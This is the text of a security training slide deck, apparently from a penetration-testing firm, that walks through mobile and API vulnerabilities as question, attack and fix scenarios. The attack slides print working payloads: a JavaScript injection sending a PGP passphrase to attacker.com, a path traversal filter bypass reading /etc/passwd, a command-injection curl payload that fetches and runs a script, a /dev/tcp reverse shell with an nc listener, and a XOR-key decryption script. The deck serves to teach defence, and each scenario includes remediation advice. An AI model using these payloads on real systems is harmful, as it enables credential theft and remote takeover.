/mnt/sdcard/path/.cache/xxxx/../../../../../data/data/some.vulnerable.app/shared_prefs/app_prefere
nces.xml has been deleted.
[...]
I/SomeTask( 450): Started downloading to
mnt/sdcard/path/.cache/app_preferences.xml
[...]
copied over
/mnt/sdcard/path/.cache/xxxx/../../../../../data/data/some.vulnerable.app/shared_prefs/app_prefere
nces.xml
Fix: Permanent MitM via Arbitrary File Write
→
Validate filename against a whitelist of characters, i.e. allow only: |^[a-zA-Z0-9\.]+$|
→
Use TLS, it's free now :)
https://letsencrypt.org/
→
Consider pinning to protect from high profile attackers:
https://cheatsheetseries.owasp.org/cheatsheets/Pinning_Cheat_Sheet.html
Episode: Sexy Crypto App Attacks
Scenario: Crypto Messenger Android app
Question: What is the vulnerability?
Background: App receives encrypted files
private void saveFile(Uri inputUri, String originalFilename, String mimeType) {
[...]
File file = new File(inputUri.getPath());
File parentDir = file.exists() ? file.getParentFile() : Constants.Path.APP_DIR;
File targetFile = new File(parentDir, originalFilename);
FileHelper.saveFile(this, getString(R.string.title_decrypt_to_file),
getString(R.string.specify_file_to_decrypt_to), targetFile, REQUEST_CODE_OUTPUT);
Solution: Arbitrary file write on decryption
Background: App receives encrypted files
private void saveFile(Uri inputUri, String originalFilename, String mimeType) {
[...]
File file = new File(inputUri.getPath());
File parentDir = file.exists() ? file.getParentFile() : Constants.Path.APP_DIR;
File targetFile = new File(parentDir, originalFilename);
FileHelper.saveFile(this, getString(R.string.title_decrypt_to_file),
getString(R.string.specify_file_to_decrypt_to), targetFile, REQUEST_CODE_OUTPUT);
Attack: Arbitrary file write on decryption
User A: Encrypts message with originalFilename
//////////////////////////////////////../../../../../../data/data/some.vuln.app/databases/ba
dfile
User B: Receives and decrypts this file
Result:
User A can create and overwrite any file in the app storage.
Scenario: PGP Email iOS app
Source: https://apps.apple.com/
Question: What is the vulnerability?
Background:
iOS app implements PGP email functionality in JavaScript.
User input = received message.
[html appendString:@"<!DOCTYPE HTML><html><head><script>"];
[html appendString:self.pgpContext.openPGPScript];
[html appendFormat:@"\nvar Private_Key = '%@';", [self.Private_Key stringEscapedForJavaScript]];
[html appendFormat:@"\nvar passphrase = '%@';", [self.passphrase
stringEscapedForJavaScript]];
[html appendFormat:@"\nvar Message = '%@';", [self.Message stringEscapedForJavaScript]];
Solution: Remotely Steal Private Key & Passphrase
Vuln:
[html appendFormat:@"\nvar Message = '%@';", [self.Message stringEscapedForJavaScript]];
PoC Email:
';var xmlHttp = new
XMLHttpRequest();xmlHttp.open('GET','https://attacker.com/'+encodeURIComponent(passphrase)
,false); xmlHttp.send(null); a='
Resulting JavaScript:
var Private_Key = '-----BEGIN PGP PRIVATE KEY BLOCK----- ...'
var passphrase = 'MY_SECRET_PASSPHRASE';
var Message = '';var xmlHttp = new
XMLHttpRequest();xmlHttp.open('GET','https://attacker.com/'+passphrase
,false); xmlHttp.send(null); a='';
Attack: Remotely Steal Private Key & Passphrase
Server Command (setup listener):
$ nc -lp 443
Output (receive stolen passphrase):
GET /MY_SECRET_PASSPHRASE HTTP/1.1
Fix: Remotely Steal Private Key & Passphrase
→
→
base64-encode user input (i.e. the entire message) before concatenation
Encode user input in JavaScript
Source: https://www.memecreator.org/static/images/memes/4920630.jpg
Scenario: Mandated app in South Korea (Android)
Government-mandated app to help parents protect their children:
→ Control phone usage
→ Control installed apps
→ Block websites
→ etc.
Round #1: https://7asecurity.com/reports/pentest-report_smartsheriff.pdf
Round #2: https://7asecurity.com/reports/pentest-report_smartsheriff-2.pdf
Scenario: Mandated app in South Korea (Android)
Smart Sheriff: Round 1 = NO SSL
Scenario: Mandated app in South Korea (Android)
Smart Sheriff: Round 2 = switched to SSL!
Question: What is the vulnerability?
SSL MitM without warnings!
Question: What is the vulnerability?
encrypt_decrypt: IN: 05555215554 => OUT: ]5Z\WSVAB5]
encrypt_decrypt: IN: ]5Z\WSVAB5] => OUT: 05555215554
Code (decompiled):
public static String encrypt_decrypt(String var0) {
var1_1 = new byte[39]; var1_1[0] = 109;
var1_1[2] = 111; [...]
var1_1[38] = 107;
var2_2 = new byte[var0.getBytes().length];
try {
[...]
var2_2[var6_4] = (byte)(var2_2[var6_4] ^ var1_1[var5_3]);
[...]
} while (true);[...]
}
Harcoded XOR key! :)
encrypt_decrypt: IN: 05555215554 => OUT: ]5Z\WSVAB5]
encrypt_decrypt: IN: ]5Z\WSVAB5] => OUT: 05555215554
Code (decompiled):
public static String encrypt_decrypt(String var0) {
var1_1 = new byte[39]; var1_1[0] = 109;
var1_1[2] = 111; [...]
var1_1[38] = 107;
var2_2 = new byte[var0.getBytes().length];
try {
[...]
var2_2[var6_4] = (byte)(var2_2[var6_4] ^ var1_1[var5_3]);
[...]
} while (true);[...]
}
Attack: Harcoded XOR PoC script
XORdecrypt("]5Z\WSVAB5]") == '05555215554'
def XORdecrypt(s):
abyte2 = [109, 0, 111, 105, 98, 97, 103, 116, 119, 0, 105, 103, 115,
121, 115, 116, 101, 0, 109, 115, 102, 105, 103, 104, 116, 0, 105,
110, 103, 104, 104, 104, 107, 0, 107, 107, 107, 111, 107]
abyte0 = [0 for c in s]
abyte1 = [ord(c) for c in s]
j = 0;
k = 0;
while True:
abyte0 = [i for i in abyte1]
l = len(s)
if k>=l:
[...]
Attack: Harcoded XOR PoC script
[...]
abyte0 = [i for i in abyte1]
return "".join([chr(c) for c in abyte0])
else:
abyte1[k] = abyte1[k]^abyte2[j]
j+=1
abyte0 = [i for i in abyte1]
l = len(s)
if j>=l:
j=0
k+=1
Attack: Harcoded XOR PoC script
Question: What is the vulnerability?
public final class a {
public static byte[] a = new byte[16];
public static String a(Context paramContext, String paramString)
{
String str = new String(Base64.decode(String.valueOf(paramContext.getText(2131034156)), 0));
byte[] arrayOfByte = paramString.getBytes("UTF-8");
IvParameterSpec localIvParameterSpec = new IvParameterSpec(a);
SecretKeySpec localSecretKeySpec = new SecretKeySpec(str.getBytes("UTF-8"), "AES");
Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
localCipher.init(1, localSecretKeySpec, localIvParameterSpec);
return Base64.encodeToString(localCipher.doFinal(arrayOfByte), 0);
}
}
Hardcoded AES key!
public final class a {
public static byte[] a = new byte[16];
public static String a(Context paramContext, String paramString)
{
String str = new String(Base64.decode(String.valueOf(paramContext.getText(2131034156)), 0));
byte[] arrayOfByte = paramString.getBytes("UTF-8");
IvParameterSpec localIvParameterSpec = new IvParameterSpec(a);
SecretKeySpec localSecretKeySpec = new SecretKeySpec(str.getBytes("UTF-8"), "AES");
Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
localCipher.init(1, localSecretKeySpec, localIvParameterSpec);
return Base64.encodeToString(localCipher.doFinal(arrayOfByte), 0);
}
}
Attack: Hardcoded AES key!
Attack: Catastrophe Summary
Fix: Smart Sheriff broken SSL & Crypto
→
Validate SSL certificate properly
→
Consider Pinning
→
Avoid hardcoding encryption keys in apps
→
Request a key over a secure connection to the server, using a server public key
OR
→
Generate a key on the client and send it securely to the server encrypting it with the
server public key
→
Save the encryption key for the user safely leveraging the Android keystore.
Episode: API attacks
Source: https://www.imperva.com/
Scenario: Retrieving files from the server
Question: What is the vulnerability?
Normal URL:
https://api.server.com/export/:file?name=file.pdf
Server Code:
$api->get('/export/:file', function($name) {
if(!empty($_GET['name'])) {
$file = $GLOBALS['export_root'] . str_replace('../','', $_GET['name']);
if(file_exists($file)) {
header('Content-disposition:attachment; filename=' . $name);
header('Content-type: application/octet-stream');
readfile($file);
echo $file;
}
}
});
Path Traversal & Filter Bypass
Normal URL:
https://api.server.com/export/:file?name=file.pdf
Server Code:
$api->get('/export/:file', function($name) {
if(!empty($_GET['name'])) {
$file = $GLOBALS['export_root'] . str_replace('../','', $_GET['name']);
if(file_exists($file)) {
header('Content-disposition:attachment; filename=' . $name);
header('Content-type: application/octet-stream');
readfile($file);
echo $file;
}
}
});
Attack: Path Traversal & Filter Bypass
PoC
https://api.server.com/export/:file?name=....//....//....//....//....//....//....//....//..../
/....//....//....//etc/passwd
Code:
str_replace('../','', $_GET['name'])
IN:
....//
OUT:
../
Fix: Path Traversal & Filter Bypass
→
Use a platform function that returns the filename for a path:
https://www.php.net/basename
→
Use a platform function to verify the final URL starts with the expected directory:
https://www.php.net/realpath
if (0 !== strpos(realpath($dir_with_user_input), $expected_dir)) die('Access denied!');
→
Reject ".." sequences:
if(preg_match('/\.{2,}/', $_GET['name'])){die('Access denied!');}
Scenario: Uploading files to the server
Question: What is the vulnerability?
user_files = "%s%s/" % (globals.user_files, params['pgpFingerprint'])
RunCmd(["mkdir", user_files], None)
print "trying to save bytes to %s" % user_files
file = open(os.path.join(user_files, "sourcePackage"), "w+") # save blob here
file.write(base64.b64decode(unquote(params['data'])))
file.close()
def RunCmd(cmd, des):
cmd = " ".join(cmd)
ex = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
stderr=subprocess.STDOUT, close_fds=True)
RCE in user file upload
user_files = "%s%s/" % (globals.user_files, params['pgpFingerprint'])
RunCmd(["mkdir", user_files], None)
print "trying to save bytes to %s" % user_files
file = open(os.path.join(user_files, "sourcePackage"), "w+") # save blob here
file.write(base64.b64decode(unquote(params['data'])))
file.close()
def RunCmd(cmd, des):
cmd = " ".join(cmd) # python list concatenated into a single string
ex = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stderr=subprocess.STDOUT,
close_fds=True) # insecure option enabled
Attack: RCE in user file upload
PoC Payload (https://hackvertor.co.uk)
pgpFingerprint=<@urlencode_0(encodeURIComponent,encode)>123456 | wget
https://7asecurity.com/?$(whoami) |
123<@/urlencode_0>&alias=abcdefg&data=<@base64_1(encode)>7asec<@/base64_1>
PoC
curl https://some.server.com --data
"pgpFingerprint=123456%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8B%7C%E2%80%8B%E2%80%8B%20%E2%80%8B%
E2%80%8Bwget%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8Bhttps%3A%2F%2F7asecurity.com%2F%3F%24(whoami
)%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8B%7C%20123%E2%80%8B%E2%80%8B&alias=abcdefg&data=N2FzZWM=
"
Attack: RCE in user file upload (pwn)
Setup a shell listener:
nc -nlvp 4444
reverse shell one liner in attacker webroot:
File: /var/www/html/a.txt
Contents:
0<&196;exec 196<>/dev/tcp/attacker_ip/4444; sh <&196 >&196 2>&196
Pwn:
curl -k https://some.site.com/ --data
'pgpFingerprint=123456 | wget http://attacker_ip/a.txt; bash a.txt |
123&alias=abcdefg&data=Y3VyZTUz'
Enjoy:
connect to [192.168.0.127] from (UNKNOWN) [x.x.x.x] 60681
whoami
root
Fix: RCE in user file upload
→
If possible, avoid string concatenations:
Also avoid calling subprocess.Popen with shell=True
NOTE: python will auto-escape arguments then, you need to pass a list, not a
string:
subprocess.Popen(["mkdir", user_files], shell=False, ...
→
If you must concatenate strings, PHP and other platforms offer shell escaping
functions:
https://www.php.net/escapeshellarg
→
Validate user input with a whitelist regex that is as restrictive as possible, i.e.
[a-Z0-9\.]
NOTE: Make sure the whitelist doesn't allow especial shell characters like |;&"`'
Scenario: API Leaks
Government-mandated app to help parents protect their children:
→ Control phone usage
→ Control installed apps
→ Block websites
→ etc.
Round #1: https://7asecurity.com/reports/pentest-report_smartsheriff.pdf
Round #2: https://7asecurity.com/reports/pentest-report_smartsheriff-2.pdf
Attack: Bully API
Attack: Bully API
Attack: Bully API
Attack: Bully API
Attack: Bully API
Attack: Bully API
Attack: Bully API
Attack: Bully API
Scenario: Smart Dream South Korea (Android)
→
Monitors phone messages for "harmful words":
﹢ If harmful words are present parents are notified
﹢ Messages containing harmful words stored on the server
→
Registers itself as an "accessibility app" to gain access to SMS and Kakao talk
messages
→
Abuses functionality intended for text2speech
Attack: Smart Dream Demo
DEMO
Fix: Implement Access Control
→
→
→
→
Limit access to data based on user permissions
Centralize security controls as much as you can
Limit database queries based on who the user is, do this in a centralized way
(i.e. around Active Record implementation)
Automatically add database query clauses that filter database queries based on
who the user is
Q&A
Free 4h Workshop Access (vuln apps, slides, recording):
https://7asecurity.com/free
> admin@7asecurity.com
Any questions? :)
> @7asecurity
> @7a_
> @owtfp [ OWASP OWTF - owtf.org ]
+ 7asecurity.com
Download